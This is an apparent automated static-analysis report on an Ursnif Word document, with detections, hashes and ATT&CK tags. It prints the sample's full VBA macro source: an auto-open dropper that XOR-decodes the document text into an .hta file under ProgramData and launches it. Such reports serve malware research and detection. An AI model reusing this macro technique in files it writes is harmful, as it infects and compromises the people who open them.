Ursnif — Office (OOXML) malware analysis

Static analysis result for SHA-256 275022ec4deefd38…

MALICIOUS

Office (OOXML)

50.1 KB Created: 2021-06-21 10:02:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-06-28
MD5: 0c046345bfa465650a3cebe73e141e53 SHA-1: 5f3b0d47e5bad5ad1ae6154ec19bc2a07b533100 SHA-256: 275022ec4deefd380f8ec59cf12f241452333defb5accc4c0c741ec48bbd16d0
222 Risk Score

Malware Insights

Ursnif · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample is a malicious OOXML document containing VBA macros. The 'autoopen' subroutine triggers the execution of a shell command via the 'globView' function, which in turn calls 'indexClassInit' to construct the string 'c:\programdata\trustclearsngl.h'. This string is then used to create a file, likely to download and execute a second-stage payload. The ClamAV detection and heuristic firings strongly indicate the Ursnif family.

Heuristics 6

  • ClamAV: Doc.Downloader.Ursnif06210-9875010-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Ursnif06210-9875010-0
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/In document text (OOXML body / shared strings)
    • http://purl.org/dc/elements/1.1/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/photoshop/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/tiff/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/exif/1.0/In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1160 bytes
SHA-256: 737b7ab1140733a706446f13aac8934cf91a0f34c58589760da0fa3913732210
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "procedureSize"
Function globView(arrSin)
Debug.Print Shell("" + indexClassInit("explorer "))
End Function
Function indexClassInit(arrSin, Optional remDatabaseB = "c:\progra", Optional textboxDate = "ta")
indexClassInit = arrSin & remDatabaseB & "mdata\trustClearSngl.h" & textboxDate
End Function
Function collectClassH(arr As Variant)
Dim out As String
out = ""
For cnt = 1 To UBound(arr)
out = out & Chr(arr(cnt) Xor 100)
Next
collectClassH = out
End Function

Attribute VB_Name = "rightCaptReference"
Sub autoopen()
functionVInteger
globalByte = globView("")
End Sub

Attribute VB_Name = "classRem"
Sub functionVInteger()
Open indexClassInit("") For Output As #1
Print #1, collectClassH(collectException)
Close #1
End Sub
Function collectException()
collectException = Split(ActiveDocument.Range.Text, "x")
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 16896 bytes
SHA-256: c11516d8bd0eb4a347e7c19a0df3df49c7cf62883aad53815d7304bacdbbc1c0

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